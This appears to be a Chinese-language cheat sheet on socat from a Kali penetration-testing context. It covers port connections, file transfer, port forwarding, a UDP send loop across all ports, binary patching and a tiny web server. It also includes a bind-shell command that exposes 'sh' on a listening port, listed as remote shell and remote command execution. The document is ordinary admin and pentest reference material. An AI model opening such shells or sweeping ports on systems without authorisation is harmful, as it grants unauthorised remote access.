- 被称为nc++(增强版nc)
- 双向数据流通道工具
环境:kali
ubantu
连接端口:socat -tcp:1.1.1.1:80
侦听端口: – socat - tcp4-listen:22 / socat - tcp-l:333
接收文件: socat tcp4-listen:333 open:2.txt,creat,append
发送文件: cat 1.txt | socat - tcp4:1.1.1.1:333
远程shell: socat tcp-l:23 exec:sh,pty,stderr
端口转发: socat tcp4-listen:22,fork tcp4:1.1.1.1:22
远程执行命令:socat tcp-l:23 exec:sh,pty,stderr #侦听23端口
客户端ubantu
socat - tcp:192.168.1.14:23 #连接23端口
发包:for PORT in {1..65535}; do echo “I am ubuntu!” | socat - UDP4-DATAGRAM:192.168.1.14:$PORT; sleep .1; done #这是个简单脚本,全端口发包
二进制编辑器: echo -e “\0\14\0\0\c” | socat -u - file:/usr/bin/ squid.exe,seek,seek=0x00074420
简单的WEB服务器:socat -T 1 -d -d TCP-L:10081,reuseaddr,fork,crlf SYSTEM:”echo -e \”\\”HTTP/1.0 200 OK\\nDocumentType: text/plain\\n\\ndate:\$(date)\\nserver:\$SOCAT_SOCKADDR:\$SOCAT_SOCKPORT\\nclient: \$SOCAT_PEERADDR:\$SOCAT_PEERPORT\\n\\”\”; cat; echo -e \”\\”\\n\\”\””